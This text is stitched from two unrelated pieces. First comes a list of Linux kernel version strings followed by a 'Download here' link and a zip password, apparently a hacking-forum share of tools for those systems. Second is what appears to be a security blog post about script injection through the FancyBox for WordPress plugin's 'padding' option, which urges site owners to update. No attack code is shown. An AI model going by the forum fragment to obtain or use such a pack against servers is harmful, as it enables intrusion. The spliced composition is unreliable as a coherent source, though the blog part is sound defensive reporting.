Linux localhost.domain 2.6.32-042stab053.5 #1 SMP Tue Mar 27 11:42:17 MSD 2012 x86_64
Linux localhost.domain 2.6.32-279.el6.x86_64 #1 SMP Fri Jun 22 12:19:21 UTC 2012 x86_64
Linux localhost.domain 3.2.0-0.bpo.3-amd64 #1 SMP Thu Aug 23 07:41:30 UTC 2012 x86_64
Linux localhost.domain 2.6.32-358.0.1.el6.x86_64 #1 SMP Wed Feb 27 06:06:45 UTC 2013 x86_64
Linux localhost.domain 2.6.32-042stab061.2 #1 SMP Fri Aug 24 09:07:21 MSK 2012 x86_64
Linux localhost.domain 2.6.32-379.14.1.lve1.1.9.9.el6.x86_64 #1 SMP Thu Dec 6 07:12:24 EST 2012 x86_64
Linux localhost.domain 2.6.32-12-pve #1 SMP Tue May 15 06:02:20 CEST 2012 x86_64
Linux localhost.domain 2.6.32-131.21.1.el6.x86_64 #1 SMP Tue Nov 22 19:48:09 GMT 2011 x86_64
Linux localhost.domain 3.2.7 #1 SMP Sun Feb 26 23:00:18 CET 2012 x86_64
Linux localhost.domain 2.6.32-279.14.1.el6.x86_64 #1 SMP Tue Nov 6 23:43:09 UTC 2012 x86_64
Linux localhost.domain 2.6.32-379.22.1.lve1.2.17.el5h.x86_64 #1 SMP Wed Apr 3 14:28:52 EEST 2013 x86_64
Linux localhost.domain 2.6.32-320.4.1.lve1.1.4.el6.x86_64 #1 SMP Wed Mar 7 06:32:27 EST 2012 x86_64
Linux localhost.domain 2.6.32-220.7.1.el6.x86_64 #1 SMP Wed Mar 7 00:52:02 GMT 2012 x86_64
Linux localhost.domain 2.6.32-7-pve #1 SMP Mon Feb 13 07:33:21 CET 2012 x86_64
Linux localhost.domain 2.6.32-042stab062.2 #1 SMP Wed Oct 10 18:28:35 MSK 2012 x86_64
Linux localhost.domain 2.6.38 #5 SMP Sat Mar 19 13:19:08 CET 2011 x86_64
Linux localhost.domain 2.6.32 #1 SMP Wed Sep 5 22:46:20 MSK 2012 x86_64
Linux localhost.domain 2.6.32-379.19.1.lve1.2.7.el6.x86_64 #1 SMP Wed Jan 23 14:53:41 EST 2013 x86_64
Linux localhost.domain 3.2.0-0.bpo.2.dar-amd64 #1 SMP Fri Apr 27 18:23:24 MSK 2012 x86_64
Linux localhost.domain 2.6.32-16-pve #1 SMP Fri Nov 9 11:42:51 CET 2012 x86_64
Linux localhost.domain 2.6.32-220.17.1.el6.x86_64 #1 SMP Wed May 16 00:01:37 BST 2012 x86_64
Linux localhost.domain 2.6.32-279.9.1.el6.x86_64 #1 SMP Tue Sep 25 21:43:11 UTC 2012 x86_64
Linux localhost.domain 2.6.32-042stab065.3 #1 SMP Mon Nov 12 21:59:14 MSK 2012 x86_64
Linux localhost.domain 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64
Linux localhost.domain 2.6.32-11-pve #1 SMP Wed Apr 11 07:17:05 CEST 2012 x86_64
Linux localhost.domain 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64
Linux localhost.domain 2.6.32-131.17.1.el6.x86_64 #1 SMP Thu Oct 6 19:24:09 BST 2011 x86_64
Linux localhost.domain 2.6.32-042stab072.10 #1 SMP Wed Jan 16 18:54:05 MSK 2013 x86_64
Linux localhost.domain 3.5.2 #1 SMP Thu Aug 23 17:07:20 CEST 2012 x86_64
Linux localhost.domain 2.6.32-220.el6.x86_64 #1 SMP Tue Dec 6 19:48:22 GMT 2011 x86_64
Linux localhost.domain 2.6.32-279.2.1.el6.x86_64 #1 SMP Fri Jul 20 01:55:29 UTC 2012 x86_64
Linux localhost.domain 3.2.20 #1 SMP Tue Aug 28 02:39:06 MSK 2012 x86_64
Linux localhost.domain 2.6.32-220.4.2.el6.x86_64 #1 SMP Tue Feb 14 04:00:16 GMT 2012 x86_64
Linux localhost.domain 2.6.32-279.5.1.el6.x86_64 #1 SMP Tue Aug 14 23:54:45 UTC 2012 x86_64
Linux localhost.domain 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Mar 13 00:26:49 UTC 2013 x86_64 GNU/Linux 
 Download here
Zip Password: *pakmadhunters* 
credit to  owner :)

“Fancybox for WordPress Has Expired” Infection

Today I began to notice quite a massive and very unusual attack that leverages vulnerabilities in older versions of the FancyBox for WordPress plugin.

As you might know, versions 3.0.2 and older of this plugin allowed anyone to craft special POST requests to /wp-admin/admin-post.php or /wp-admin/admin-ajax.php and change values of specific plugin options in WordPress database. The plugin uses the modified options to build its own JavaScript code. As a result, the malicious content gets injected into generated WordPress pages.

A typical malicious injection looks like this:

Fancybox infection

Such attacks use the documented exploit code to inject malicious code into the “padding” value.

The exploited vulnerability had been fixed on February 4th. Nonetheless, many blogs failed to update the plugin and hackers routinely find such blogs and infect them.

The today’s attack also uses this exploit and modifies the “padding” value, but the code it injects cannot be called malicious:

Fancybox expired warning

When visitors load such “infected” pages, they see this warning:

WARNING: This version of the Fancybox for WordPress plugin has expired!
Please upgrade to the latest version!

And when they click on the “OK” button, they automatically get redirected to the Fancybox for WordPress changelog page in the official WordPress plugin repository.

On one hand, this infection makes blogs unusable since it redirects visitors to WordPress plugin repository before they can read anything. On the other hand, it is very hard to ignore such a warning — if site owners want people to visit their sites they have to upgrade (or remove) the vulnerable version of the plugin ASAP.

Now is the time to check if your blog shows such warnings. If you don’t see them, it’s not a reason to relax and wait for such a hard push to upgrade. Make sure all your themes and plugins are up-to-date now.